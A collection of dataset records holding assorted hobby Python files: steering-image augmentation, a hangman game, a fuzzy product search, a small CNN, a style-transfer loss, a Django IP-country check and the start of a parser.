csv.reader(csv_file, delimiter=',')\n next(lines)\n counter = 0\n for line in lines:\n for k in range(3):\n # image = cv2.imread(image_data_file_path+line[k].strip())\n image = cv2.imread(image_data_file_path+line[k].strip())\n b, g, r = cv2.split(image)\n image = cv2.merge([r, g, b])\n\n flipped_image = cv2.flip(image, 1, cv2.COLOR_BGR2RGB)\n if k == 0:\n y = np.append(y, float(line[3]))\n y = np.append(y, -1 * float(line[3]))\n elif k == 1:\n y = np.append(y, float(line[3]) + left_steering_correction)\n y = np.append(y, -1 * (float(line[3]) + left_steering_correction))\n else:\n y = np.append(y, float(line[3]) + right_steering_correction)\n y = np.append(y, -1 * (float(line[3]) + right_steering_correction))\n x = np.append(x, [image], axis=0)\n x = np.append(x, [flipped_image], axis=0)\n counter += 1\n if counter % 10 == 0:\n print('{:2d} images loaded'.format(counter))\n return x, y\n\n\ndef load_data_with_flip_numpy():\n # x = np.empty(array_shape, np.float32)\n # y = np.empty([0], np.float32)\n x = []\n y = []\n with open(file_path) as csv_file:\n lines = csv.reader(csv_file, delimiter=',')\n next(lines)\n counter = 0\n for line in lines:\n for k in range(3):\n image = cv2.imread(image_data_file_path + line[k].strip())\n b, g, r = cv2.split(image)\n image = cv2.merge([r, g, b])\n #\n # flipped_image = cv2.flip(image, 1, cv2.COLOR_BGR2RGB)\n if k == 0:\n y.append(float(line[3]))\n # y.append(-1 * float(line[3]))\n elif k == 1:\n y.append(float(line[3]) + left_steering_correction)\n # y.append(-1 * (float(line[3]) + left_steering_correction))\n else:\n y.append(float(line[3]) + right_steering_correction)\n # y.append(-1 * (float(line[3]) + right_steering_correction))\n x.append(image)\n # x.append(flipped_image)\n counter += 1\n if counter % 10 == 0:\n print('{:2d} images loaded'.format(counter))\n return np.array(x), np.array(y)\n\n\ndef add_random_shadow(image):\n alpha = np.random.uniform(0.2, 0.6)\n h, w, d = image.shape\n zero_or_one = np.random.randint(0, 2)\n if zero_or_one == 0:\n points = np.array([[0, 0], [w - random.randint(0, w), 0], [w - random.randint(0, w), h], [0, h]], np.int32)\n else:\n points = np.array([[w - random.randint(0, w), 0], [w, 0], [w, h], [w - random.randint(0, w), h]], np.int32)\n\n aug_image = image.copy()\n overlay = image.copy()\n output = overlay.copy()\n\n # overlay=cv2.rectangle(image, (25, 25), (w-10, h-10), (0,0,0), -1)\n # overlay = cv2.fillConvexPoly(aug_image, points, (0, 0, 0))\n cv2.fillPoly(overlay, [points], (0, 0, 0))\n cv2.addWeighted(overlay, alpha, output, 1.0 - alpha, 0, aug_image)\n return aug_image\n\n\ndef change_brightness(image):\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV) # convert it to hsv\n\n h, s, v = cv2.split(hsv)\n z = v*np.random.uniform(0.2, 0.8)\n z[z > 255] = 255\n v = np.array(z, np.uint8)\n final_hsv = cv2.merge((h, s, v))\n\n result_image = cv2.cvtColor(final_hsv, cv2.COLOR_HSV2BGR)\n return result_image\n\n\ndef mask_image(image):\n # Applies an image mask.\n # region_of_interest(image, vertices):\n rows, cols, ch = image.shape\n ax = int(cols * (np.random.uniform(-0.5, 0.5)))\n bx = int(ax + cols * np.random.uniform(-0.5, 0.5))\n cx = int(np.random.uniform(0, 80))\n dx = int(cols - cx)\n p = (np.random.uniform(-0.5, 0.5))\n # vertices = np.array([[(p*cols,rows),(ax,int(p*rows)), (bx, int(p*rows)), (cols*(1+p),rows)]], dtype=np.int32)\n vertices = np.array([[(dx, rows), (ax, int(p * rows)), (bx, int(p * rows)), (cx, rows)]], dtype=np.int32)\n shadow = np.random.randint(1, 200)\n mask = np.full_like(image, shadow)\n # defining a 3 channel or 1 channel color to fill the mask with depending on the input image\n if len(image.shape) > 2:\n channel_count = image.shape[2] # i.e. 3 or 4 depending on your image\n ignore_mask_color = (255,) * channel_count\n else:\n ignore_mask_color = 255\n # filling pixels inside the polygon defined by \"vertices\" with the fill color\n cv2.fillPoly(mask, vertices, ignore_mask_color)\n # returning the image only where mask pixels are nonzero\n masked_image = cv2.bitwise_and(image, mask)\n return masked_image\n\n\ndef flip_image(image):\n return cv2.flip(image, 1)\n\n\ndef crop_relevant_image(image, top_percent=0.35, bottom_percent=0.1):\n rows, cols, ch = image.shape\n image = image[int(rows * top_percent):int(rows - rows * bottom_percent), :]\n return image\n\n\ndef random_shear(image, steering_angle, shear_range=100):\n # Source: https://medium.com/@ksakmann/behavioral-cloning-make-a-car-drive-like-yourself-dc6021152713#.7k8vfppvk\n rows, cols, ch = image.shape\n dx = np.random.randint(-shear_range, shear_range + 1)\n random_point = [cols / 2 + dx, rows / 2]\n pts1 = np.float32([[0, rows], [cols, rows], [cols / 2, rows / 2]])\n pts2 = np.float32([[0, rows], [cols, rows], random_point])\n dsteering = dx/(rows / 2) * 360/(2 * np.pi * 25.0) / 6.0\n M = cv2.getAffineTransform(pts1, pts2)\n image = cv2.warpAffine(image, M, (cols, rows), borderMode=1)\n steering_angle += dsteering\n return image, steering_angle\n\n\ndef horizontal_crop(image, angle):\n # https://towardsdatascience.com/teaching-cars-to-drive-using-deep-learning-steering-angle-prediction-5773154608f2\n # random pan the camera from left to right in a small pixel shift\n # shift between -24 to 24 pixels and compensate the steering angle\n rows, cols, ch = image.shape\n width = int(cols * 0.8)\n x_var = int(np.random.uniform(-24, 24))\n crop_img = image[0:rows, int(cols / 2 - width / 2 + x_var):int(cols / 2 + width / 2 + x_var)]\n angle_factor = 0.002 # degree per each shifted pixel\n # Since image is 320 px wide. angle_factor will be 1/320 - 0.003125\n angle_factor = 0.0031 # degree per each shifted pixel\n adj_angle = angle + angle_factor * x_var\n return crop_img, adj_angle\n\n\ndef random_crop(image, steering=0.0, tx_lower=-20, tx_upper=20, ty_lower=-2, ty_upper=2, rand=True):\n # we will randomly crop subsections of the image and use them as our data set.\n # also the input to the network will need to be cropped, but of course not randomly and centered.\n shape = image.shape\n col_start, col_end = abs(tx_lower), shape[1] - tx_upper\n horizon = 60\n bonnet = 136\n if rand:\n tx = np.random.randint(tx_lower, tx_upper + 1)\n ty = np.random.randint(ty_lower, ty_upper + 1)\n else:\n tx, ty = 0, 0\n\n # print('tx = ',tx,'ty = ',ty)\n random_crop = image[horizon + ty:bonnet + ty, col_start + tx:col_end + tx, :]\n f, (ax1, ax2) = plt.subplots(1, 2, figsize=(32, 16))\n ax1.imshow(image)\n ax1.set_title('Original Image', fontsize=30)\n ax2.imshow(random_crop)\n ax2.set_title('Cropped Image', fontsize=30)\n plt.waitforbuttonpress()\n plt.close()\n image = cv2.resize(random_crop, (64, 64), cv2.INTER_AREA)\n # the steering variable needs to be updated to counteract the shift\n if tx_lower != tx_upper:\n dsteering = -tx / (tx_upper - tx_lower) / 3.0\n else:\n dsteering = 0\n steering += dsteering\n\n return image, steering\n\n\ndef resize_image(image, res_dim):\n return cv2.resize(image, res_dim)\n\n\ndef random_gamma(image):\n # Source: http://www.pyimagesearch.com/2015/10/05/opencv-gamma-correction/\n gamma = np.random.uniform(0.4, 1.5)\n inv_gamma = 1.0 / gamma\n table = np.array([((i / 255.0) ** inv_gamma) * 255 for i in np.arange(0, 256)]).astype(\"uint8\")\n # apply gamma correction using the lookup table\n return cv2.LUT(image, table)\n\n\ndef pipeline(image, steering_angle):\n flip = np.random.choice([0, 1])\n shadow = np.random.choice([0, 1])\n brightness = np.random.choice([0, 1])\n help_recenter = np.random.choice([0, 1])\n shear = np.random.choice([0, 1])\n processed_image = np.copy(image)\n if flip == 1:\n processed_image = flip_image(processed_image)\n steering_angle = -1 * steering_angle\n if brightness == 1:\n processed_image = change_brightness(processed_image)\n # processed_image = random_gamma(processed_image)\n if shadow == 1:\n processed_image = add_random_shadow(processed_image)\n processed_image = crop_relevant_image(processed_image)\n if help_recenter == 1:\n processed_image, steering_angle = horizontal_crop(processed_image, steering_angle)\n if shear == 1:\n processed_image, steering_angle = random_shear(processed_image, steering_angle)\n return processed_image, steering_angle\n\n\ndef pipeline_show_images(image, steering_angle):\n flip = np.random.choice([0, 1])\n shear = np.random.choice([0, 1])\n processed_image = np.copy(image)\n images = []\n if flip == 1:\n processed_image = flip_image(processed_image)\n steering_angle = -1 * steering_angle\n images.append(np.copy(processed_image))\n processed_image = change_brightness(processed_image)\n images.append(np.copy(processed_image))\n # processed_image = random_gamma(processed_image)\n images.append(np.copy(processed_image))\n # processed_image = mask_image(processed_image)\n processed_image = add_random_shadow(processed_image)\n images.append(np.copy(processed_image))\n processed_image = crop_relevant_image(processed_image)\n images.append(np.copy(processed_image))\n processed_image, steering_angle = horizontal_crop(processed_image, steering_angle)\n images.append(np.copy(processed_image))\n if shear == 1:\n processed_image, steering_angle = random_shear(processed_image, steering_angle)\n images.append(np.copy(processed_image))\n show_images(image, images)\n return processed_image, steering_angle\n\n\ndef show_images(image, images):\n f, ((ax1, ax2, ax3, ax4), (ax5, ax6, ax7, ax8)) = plt.subplots(2, 4, figsize=(32, 16))\n f.tight_layout()\n ax1.imshow(image)\n ax1.set_title('Original Image', fontsize=30)\n\n ax2.imshow(images[0])\n ax2.set_title('Flipped Image', fontsize=30)\n\n ax3.imshow(images[1])\n ax3.set_title('Brightness Mod Image', fontsize=30)\n\n ax4.imshow(images[2])\n ax4.set_title('Gaama Image', fontsize=30)\n\n ax5.imshow(images[3])\n ax5.set_title('Masked Image', fontsize=30)\n\n ax6.imshow(images[4])\n ax6.set_title('Relevant Ahead', fontsize=30)\n\n ax7.imshow(images[5])\n ax7.set_title('Horizontal Crop', fontsize=30)\n\n ax8.imshow(images[6])\n ax8.set_title('Sheared Image', fontsize=30)\n\n plt.waitforbuttonpress()\n plt.close()\n\n\ndef train_data_generator(image_dir, x_data, y_data, batch_size=64, augment=True):\n end = 0\n while True:\n to_process_images = []\n to_process_steering = []\n start = end\n end = start+batch_size\n to_process_x = x_data[start:end]\n to_process_y = y_data[start:end]\n if len(to_process_x) < 64:\n start = 0\n end = 64 - len(to_process_x)\n to_process_x = np.append(to_process_x, x_data[start:end])\n to_process_y = np.append(to_process_y, y_data[start:end])\n for image_path, steering in zip(to_process_x, to_process_y):\n if augment:\n new_image, new_steering = pipeline(mpimg.imread(image_dir+image_path.strip()), steering)\n to_process_images.append(cv2.resize(new_image, (64, 64)))\n to_process_steering.append(new_steering)\n else:\n to_process_images.append(cv2.resize(mpimg.imread(image_dir+image_path.strip()), (64, 64)))\n to_process_steering.append(steering)\n # return to_process_images, to_process_steering\n yield (np.array(to_process_images), np.array(to_process_steering))\n # yield (np.array(to_process_x), np.array(to_process_y))\n\n\n# img = mpimg.imread(\"./data/IMG/center_2016_12_01_13_30_48_287.jpg\")\n# masked_image = mask_image(img)\n# res_image, steering = pipeline(img, 0)\n# res_image, steering = pipeline_show_images(img, 0)\n# res_image = cv2.resize(res_image, (64, 64))\n# res_image, steering_angle = random_crop(img)\n# plt.imshow(res_image)\n# plt.waitforbuttonpress()\n# plt.close()\n# copy_image = np.copy(img)\n# f, ((ax1, ax2, ax3), (ax4, ax5, ax6)) = plt.subplots(2, 3, figsize=(32, 16))\n# f.tight_layout()\n# ax1.imshow(img)\n# ax1.set_title('Original Image', fontsize=30)\n# ax2.imshow(flip_image(img))\n# ax2.set_title('Flipped Image', fontsize=30)\n# ax3.imshow(add_random_shadow(img))\n# ax3.set_title('Masked Image', fontsize=30)\n# ax4.imshow(change_brightness(img))\n# ax4.set_title('Brightness Mod Image', fontsize=30)\n# ax5.imshow(crop_relevant_image(img))\n# ax5.set_title('Look Ahead', fontsize=30)\n# ax6.imshow(random_shear(copy_image, 1))\n# ax6.set_title('Sheared', fontsize=30)\n# plt.waitforbuttonpress()\n# plt.close()\n","sub_path":"data_generation.py","file_name":"data_generation.py","file_ext":"py","file_size_in_byte":13853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"588987547","text":"'''\npick a word\nTell the player:\n 1. Length of word\n 2. Number of guesses\nUser guesses\n store letter guessed in list\nif true -> display\nif false -> -1 guess\ncontinue until:\n 1. Out of guesses\n 2. Got the word\n ALL letter in word are in guessed list\n'''\nimport random\nimport string\n\ndef getWordList():\n inFile = open(\"HIDDEN_WORDS.txt\", \"r\")\n line = inFile.readline()\n wordList = line.split()\n print (\" \", len(wordList), \"words read!\")\n return wordList\n\ndef pickWord(wordList):\n return random.choice(wordList)\n\ndef isWin(hiddenWord, lettersGuessed):\n for letter in hiddenWord:\n if letter not in lettersGuessed:\n return False\n return True\n\ndef displayWord(hiddenWord, lettersGuessed):\n result = \"\"\n for letter in hiddenWord:\n if letter in lettersGuessed:\n result += letter + \" \"\n else:\n result += \"_ \"\n return result[:-1]\n\ndef gameHangMan(hiddenWord):\n print (\"Welcome to Hangman !!!\")\n print (\"The secret word has \" + str(len(hiddenWord)) + \" letters\")\n letterGuessed = []\n numOfTurnsLeft = 10\n\n print (displayWord(hiddenWord,letterGuessed))\n win = isWin(hiddenWord,letterGuessed)\n while (numOfTurnsLeft > 0 and not win ):\n letter = input(\"Enter your guess: \").lower()\n if letter not in letterGuessed:\n letterGuessed.append(letter)\n else:\n print (\"You have already guessed this, try again!\")\n continue\n\n if letter in hiddenWord:\n print (\"Yay, you got it!\")\n else:\n print (\"Sorry, the word does not contain letter \" + letter)\n numOfTurnsLeft -= 1\n print (displayWord(hiddenWord,letterGuessed))\n print(\"Your have \"+ str(numOfTurnsLeft) + \" turns left\")\n displayWord(hiddenWord,letterGuessed)\n win = isWin(hiddenWord,letterGuessed)\n\n if(win):\n print (\"Congratulations! You won!\")\n else:\n print (\"Sorry! You are out of turns.\")\n print (\"The hidden word is \" + hiddenWord)\n\n\nwordList = getWordList()\nhiddenWord = pickWord(wordList).lower()\ngameHangMan(hiddenWord)\n","sub_path":"hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"50283390","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 17 12:09:57 2019\n\n@author: smokha\n\"\"\"\nimport pandas as pd\nfrom fuzzywuzzy import fuzz\nimport json, operator\nimport spacy\nimport os\n\ncurr_path = os.getcwd()\n\n##########################################################################################################\n#Spacy model load for POS tagging\nnlp = spacy.load(\"en_core_web_sm\")\n\n\n#JSON file reader\nimport spacy\nnlp = spacy.load('en')\n\n\ndef json_reader(path):\n with open(path) as json_file: \n a = json.load(json_file) \n for k, v in a.items():\n a[k] = sum(v, []) \n df = pd.DataFrame(list(a.items()), columns = ['brand', 'titles'])\n return df\n\n##########################################################################################################\n#Search exact product word in dataframe column and return boolean\ndef string_search(word, x):\n if word in x.split():\n return True\n else: \n return False\n\n\n#Part of Speech tagger to remove adjectives, verbs and extra verbage\ndef pos_tagger(data):\n doc = nlp(data)\n tagged_sent = [(token.text, token.tag_) for token in doc]\n tagged_sent = [word for word,tag in tagged_sent if tag != 'DT' and tag != 'JJ' and tag != 'JJS' and tag != 'RB']\n return tagged_sent\n \n \n\n##########################################################################################################\n#Read Product dictionary (for string version)\n\namaz = '/amazon_prod.json' \n\namazon_st = json_reader(os.path.join(curr_path+amaz)) #CHANGE DIR HERE\namazon_st['titles'] = amazon_st['titles'].apply(\" \".join) #Convert titles list to string \namazon_st['titles_tag'] = amazon_st['titles'].apply(lambda x: pos_tagger(x)) #POS tagger function call\ncols = ['brand', 'titles']\namazon_st['titles'] = amazon_st[cols].apply(lambda x: ' '.join(x.astype(str)), axis=1) #Adding brands to titles\namazon_st['titles'] #Data check\n\n\nuser = '/user_key.json'\n\n#Read User dictionary (for string version)\nwith open(os.path.join(curr_path+user)) as json_file: #CHANGE DIR HERE\n u = json.load(json_file) \n\nuser_st = pd.DataFrame(list(u.items()), columns = ['id', 'key'])\nuser_st['key'] = user_st['key'].apply(\" \".join) #Convert titles list to string \nuser_st = user_st[user_st['key'] != 'nan'] #Remove any null values\nuser_st['key'] = user_st['key'].apply(lambda x: pos_tagger(x)) #POS tagger function call\n\n\n\n\n#Mimic Search Engine #\n##########################################################################################################\n######## RUN FROM HERE TILL ---\n\nse_st = 'apple iphone' #Search Phrase\n#Examples: 'apple iphone', 'samsung note', 'dell laptop'\n\n\n#Get token set ratio from fuzzywuzzy string comparision\namazon_st['tset_ratio'] = amazon_st['titles'].apply(lambda x: fuzz.token_set_ratio(x,se_st))\n\n\namazon_st.sort_values(by=['tset_ratio'], ascending = False) #Data check\n\n\n\namazon_st_temp = amazon_st[amazon_st['tset_ratio'] > 80] #Set threshold for product list \namazon_st_temp['titles'] = amazon_st_temp['titles'].apply(lambda x:x.split()) #Convert string to list within DataFrame\nprod_ls = amazon_st_temp[\"titles\"].tolist() #Convert to product list\nprod_ls = sum(prod_ls, []) #Remove any extra list so added\n\n\nstr(prod_ls) #Check product list here\nprod_ls = list(set(prod_ls)) #Set to remove duplicates\n\n\n\nuser_st_temp = pd.DataFrame #Temp DataFrame\nels = [] #Empty list\n\n\n######## Approach 1\n\n#For loop to check for each word in product list\nfor word in prod_ls:\n user_st['partial_ratio'] = user_st['key'].apply(lambda x: fuzz.partial_ratio(x, word)) #Get fuzzywuzzy partial ratio\n temp = user_st[user_st['partial_ratio'] == 100] #Get values only for perfect match\n if not temp.empty:\n els.append(temp) #Append DF to list\n\n\n######## Approach 2\n#for word in prod_ls:\n# user_st['string_bool'] = user_st['key'].apply(lambda x: string_search(word, x))\n# temp = user_st[user_st['string_bool'] == True]\n# if not temp.empty:\n# els.append(temp)\n\n\nuser_st_temp = pd.concat(els, ignore_index=True) #Convert list of Dataframes to single DataFrame\n\nuser_ls = user_st_temp[\"id\"].tolist() #Convert to list to obtain a list of all influencer ID's\n\nfinal_inf_dic = {} #Empty Dictionary\nfor i in user_ls: #For loop to obtain influencers and the count of how many words they have mentioned from the product list\n final_inf_dic[i] = final_inf_dic.get(i, 0) + 1 \n\n#Sort by descending order\nfinal_inf_dic = sorted(final_inf_dic.items(), key=operator.itemgetter(1), reverse = True)\n#Check here for final values of influencer\n\n#user_st_temp['id'].value_counts() #Shortcut to value count instead of dictionary\n\n\n\n\n################ Saving string DF of amazon and user dic\n#amazon_st.to_csv('fuzz.csv')\n#user_st.to_csv('user_st.csv')\n\n\n\n######## RUN TILL HERE ---\n\n\n##########################################################################################################\n\n\n\n#\n#\n##Extra \n#Str1 = \"The sup court case of Nixon vs The United States\"\n#Str2 = \"supreme\"\n#Ratio = fuzz.ratio(Str1.lower(),Str2.lower())\n#Partial_Ratio = fuzz.partial_ratio(Str1.lower(),Str2.lower())\n#Token_Sort_Ratio = fuzz.token_sort_ratio(Str1,Str2)\n#Token_Set_Ratio = fuzz.token_set_ratio(Str1,Str2)\n#\n#\n#s = 'bblogger bbloggers bbloggersca check enter follow fotd get igbeauty lip lipstick love one pack palette'\n#\n##\n#\n#Str1 = \"The sup court case of Nixon vs The United States\"\n#Str2 = \"supreme\"\n#Ratio = fuzz.ratio(Str1.lower(),Str2.lower())\n#Partial_Ratio = fuzz.partial_ratio(Str1.lower(),Str2.lower())\n#Token_Sort_Ratio = fuzz.token_sort_ratio(Str1,Str2)\n#Token_Set_Ratio = fuzz.token_set_ratio(Str1,Str2)\n#\n#\n","sub_path":"search_engine.py","file_name":"search_engine.py","file_ext":"py","file_size_in_byte":5665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"232151650","text":"import torch\nimport torch.nn as nn\n\nclass Model(nn.Module):\n def __init__(self, num_classes=1):\n super(Model, self).__init__()\n\n self.features = nn.Sequential(\n nn.Conv2d(3, 32, kernel_size=5, stride=1, padding=3),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.LocalResponseNorm(5),\n nn.Conv2d(32, 32, kernel_size=5, stride=1, padding=3),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=3, stride=2),\n nn.LocalResponseNorm(5),\n nn.Conv2d(32, 64, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=1),\n nn.LocalResponseNorm(5),\n nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=1),\n nn.LocalResponseNorm(5)\n )\n\n self.classifier = nn.Sequential(\n nn.Dropout(),\n nn.Linear(64 * 23 * 23, 512),\n nn.Dropout(),\n nn.Linear(512, 256),\n nn.Dropout(),\n nn.Linear(256, num_classes)\n #nn.Softmax()\n )\n\n def forward(self, x):\n x = self.features(x)\n x = x.view(x.size(0), 64 * 23 * 23)\n x = self.classifier(x)\n\n return x\n","sub_path":"ctr_prediction/05_helpers/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"312872045","text":"import tensorflow as tf\nfrom deeplearning_ai.L4_ConvolutionalNeuralNetworks.h410_utils import *\n\n\ndef compute_layer_style_cost(a_S, a_G):\n \"\"\"\n Arguments:\n a_S -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing style of the image S\n a_G -- tensor of dimension (1, n_H, n_W, n_C), hidden layer activations representing style of the image G\n\n Returns:\n J_style_layer -- tensor representing a scalar value, style cost defined above by equation (2)\n \"\"\"\n\n ### START CODE HERE ###\n # Retrieve dimensions from a_G (≈1 line)\n m, n_H, n_W, n_C = a_G.get_shape().as_list()\n\n # Reshape the images to have them of shape (n_C, n_H*n_W) (≈2 lines)\n a_S = tf.reshape(a_S, [n_C, n_H * n_W])\n a_G = tf.reshape(a_G, [n_C, n_H * n_W])\n\n # Computing gram_matrices for both images S and G (≈2 lines)\n GS = gram_matrix(a_S)\n GG = gram_matrix(a_G)\n\n # Computing the loss (≈1 line)\n J_style_layer = tf.reduce_sum(tf.square(tf.subtract(GS, GG))) / (np.square(2 * n_H * n_W * n_C))\n\n ### END CODE HERE ###\n\n return J_style_layer\n\n\ntf.reset_default_graph()\n\nwith tf.Session() as test:\n tf.set_random_seed(1)\n a_S = tf.random_normal([1, 4, 4, 3], mean=1, stddev=4)\n a_G = tf.random_normal([1, 4, 4, 3], mean=1, stddev=4)\n J_style_layer = compute_layer_style_cost(a_S, a_G)\n\n print(\"J_style_layer = \" + str(J_style_layer.eval()))","sub_path":"deeplearning_ai/L4_ConvolutionalNeuralNetworks/h413_compute_layer_style_cost.py","file_name":"h413_compute_layer_style_cost.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"400405708","text":"from urllib.request import urlopen\n\nfrom django.http import HttpResponse\nfrom ipware import get_client_ip\nfrom project import models\nfrom project.tasks import scheduler\n\n\ndef service(request):\n ipCheckURL = \"https://ipinfo.io/{}/country\"\n requestIpAddress = get_client_ip(request)[0]\n\n\n if(models.IPCheck.objects.filter(ipAddress=requestIpAddress).exists()):\n ip = models.IPCheck.objects.get(ipAddress=requestIpAddress)\n if(ip.isSafe):\n ip.accessCount += 1\n ip.save()\n responseString = \"The IP is safe. You can proceed\"\n else:\n responseString = \"The IP is not from TR. Access denied\"\n else:\n requestURL = ipCheckURL.format(requestIpAddress)\n response = urlopen(requestURL)\n country = response.read().decode().rstrip()\n if(country == \"TR\"):\n newIP = models.IPCheck()\n newIP.ipAddress = requestIpAddress\n newIP.accessCount = 0\n newIP.isSafe = True\n newIP.save()\n\n responseString = \"The IP is safe. You can proceed\"\n\n else:\n newIP = models.IPCheck()\n newIP.ipAddress = requestIpAddress\n newIP.accessCount = 0\n newIP.isSafe = False\n newIP.save()\n responseString = \"The IP is not from TR. Access denied\"\n\n return HttpResponse(responseString)\n# from project.tasks import startTask\n# startTask()\n\ndef stopTask(request):\n scheduler.stopTask()","sub_path":"project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"363734073","text":"\"\"\"The abstract syntax tree.\"\"\"\n\nimport collections\n\n\nclass _HandyDandyTokenIterator:\n\n def __init__(self, iterable):\n self._iterator = iter(iterable)\n self._coming_up_stack = collections.deque()\n\n def pop(self):\n try:\n return self._coming_up_stack.pop()\n except IndexError:\n return next(self._iterator)\n\n def coming_up(self, n=1):\n while len(self._coming_up_stack) < n:\n try:\n self._coming_up_stack.appendleft(next(self._iterator))\n except StopIteration as e:\n raise EOFError from e\n return self._coming_up_stack[-n]\n\n def something_coming_up(self):\n if not self._coming_up_stack:\n try:\n self._coming_up_stack.appendleft(next(self._iterator))\n except StopIteration:\n return False\n return True\n\n # this must be \"check and pop\", not \"pop and check\"\n # that way this can be used in try/except\n def check_and_pop(self, kind, value=None):\n assert self.coming_up().kind == kind, self.coming_up()\n if value is not None:\n assert self.coming_up().value == value, self.coming_up()\n return self.pop()\n\n\ndef _nodetype(name, fields):\n\n # this is equivalent enough to doing this:\n # class :\n # # only allow these attributes\n # __slots__ = + ['start', 'end']\n #\n # def __init__(self, , start=None, end=None):\n # self.start = start\n # self.end = end\n # for each field:\n # self. = \n #\n # # just for debugging\n # def __repr__(self):\n # # this doesn't show start and end, most of the time i\n # # don't care about them\n # return '()'\n def dunder_init(self, *args, start=None, end=None):\n self.start = start\n self.end = end\n assert len(fields) == len(args)\n for name, value in zip(fields, args):\n setattr(self, name, value)\n\n def dunder_repr(self):\n parts = [repr(getattr(self, name)) for name in fields]\n return name + '(' + ', '.join(parts) + ')'\n\n return type(name, (), {\n '__slots__': fields + ['start', 'end'],\n '__init__': dunder_init,\n '__repr__': dunder_repr,\n })\n\n\nName = _nodetype('Name', ['name'])\nInteger = _nodetype('Integer', ['value'])\nString = _nodetype('String', ['value'])\nFunctionCall = _nodetype('FunctionCall', ['function', 'arguments'])\nExpressionStatement = _nodetype('ExpressionStatement', ['expression'])\nDeclaration = _nodetype('Declaration', ['type', 'variable', 'value'])\nAssignment = _nodetype('Assignment', ['variable', 'value'])\nIf = _nodetype('If', ['condition', 'body'])\nFunctionDef = _nodetype('FunctionDef', \n ['name', 'arguments', 'returntype', 'body'])\nReturn = _nodetype('Return', ['value'])\nDecRef = _nodetype('DecRef', ['name'])\n\n\nKEYWORDS = {'return', 'if'}\n\n\nclass _Parser:\n\n def __init__(self, tokens):\n self.tokens = _HandyDandyTokenIterator(tokens)\n\n def parse_name(self, check_for_keywords=True):\n # thing\n token = self.tokens.check_and_pop('NAME')\n if check_for_keywords:\n assert token.value not in KEYWORDS, token.value\n return Name(token.value, start=token.start, end=token.end)\n\n def parse_integer(self):\n # 3735928559\n token = self.tokens.check_and_pop('INTEGER')\n return Integer(int(token.value), start=token.start, end=token.end)\n\n def parse_string(self):\n # \"hello world\"\n # TODO: \"hello \\\"world\\\" ${some code}\"\n token = self.tokens.check_and_pop('STRING')\n return String(token.value[1:-1], start=token.start, end=token.end)\n\n def _parse_comma_list(self, stop=')', parsemethod=None):\n # )\n # element )\n # element , )\n # element , element )\n # element , element , )\n # ...\n if parsemethod is None:\n parsemethod = self.parse_expression\n\n elements = []\n if self.tokens.coming_up().info == ('OP', stop):\n # empty list\n last_token = self.tokens.pop()\n else:\n while True:\n elements.append(parsemethod())\n if self.tokens.coming_up().info == ('OP', stop):\n last_token = self.tokens.pop()\n break\n\n self.tokens.check_and_pop('OP', ',')\n if self.tokens.coming_up().info == ('OP', stop):\n last_token = self.tokens.pop()\n break\n\n return (elements, last_token)\n\n def parse_expression(self):\n coming_up = self.tokens.coming_up()\n next_kind = coming_up.kind\n if next_kind == 'NAME':\n # hello\n result = self.parse_name()\n elif next_kind == 'STRING':\n # \"hello\"\n result = self.parse_string()\n elif next_kind == 'INTEGER':\n # 123\n result = self.parse_integer()\n else:\n raise ValueError(f\"Invalid token: {coming_up!r}\")\n\n # check for function calls, this is a while loop to allow nested\n # function calls like thing()()()\n while True:\n next_token = self.tokens.coming_up()\n if next_token.kind != 'OP' or next_token.value != '(':\n break\n\n openparen = self.tokens.check_and_pop('OP', '(')\n arguments, last_token = self._parse_comma_list()\n result = FunctionCall(\n result, arguments, start=result.start, end=last_token.end)\n\n return result\n\n # rest of these methods are for parsing statements\n\n def parse_expression_statement(self):\n # expression;\n value = self.parse_expression()\n semicolon = self.tokens.check_and_pop('OP', ';')\n return ExpressionStatement(value, start=value.start, end=semicolon.end)\n\n def assignment(self):\n # thing = value\n # TODO: thing's stuff = value\n variable = self.parse_name()\n self.tokens.check_and_pop('OP', '=')\n value = self.parse_expression()\n semicolon = self.tokens.check_and_pop('OP', ';')\n return Assignment(variable, value,\n start=variable.start, end=semicolon.end)\n\n def parse_if(self):\n the_if = self.tokens.check_and_pop('NAME', 'if')\n condition = self.parse_expression()\n self.tokens.check_and_pop('OP', '{')\n\n body = []\n while self.tokens.coming_up().info != ('OP', '}'):\n body.append(self.parse_statement())\n\n closing_brace = self.tokens.check_and_pop('OP', '}')\n return If(condition, body, start=the_if.start, end=closing_brace.end)\n\n def _type_and_name(self):\n # Int a;\n # return (typenode, name_string)\n typenode = self.parse_name()\n name = self.parse_name()\n print(name)\n return (typenode, name.name)\n\n def parse_declaration(self):\n # Int thing;\n # Int thing = expression;\n # TODO: module's Thingy thing;\n datatype, variable_name = self._type_and_name()\n\n third_thing = self.tokens.check_and_pop('OP')\n if third_thing.value == ';':\n semicolon = third_thing\n initial_value = None\n else:\n initial_value = self.parse_expression()\n semicolon = self.tokens.check_and_pop('OP', ';')\n return Declaration(datatype, variable_name, initial_value,\n start=datatype.start, end=third_thing.end)\n\n def parse_return(self):\n the_return = self.tokens.check_and_pop('NAME', 'return')\n value = self.parse_expression()\n semicolon = self.tokens.check_and_pop('OP', ';')\n return Return(value, start=the_return.start, 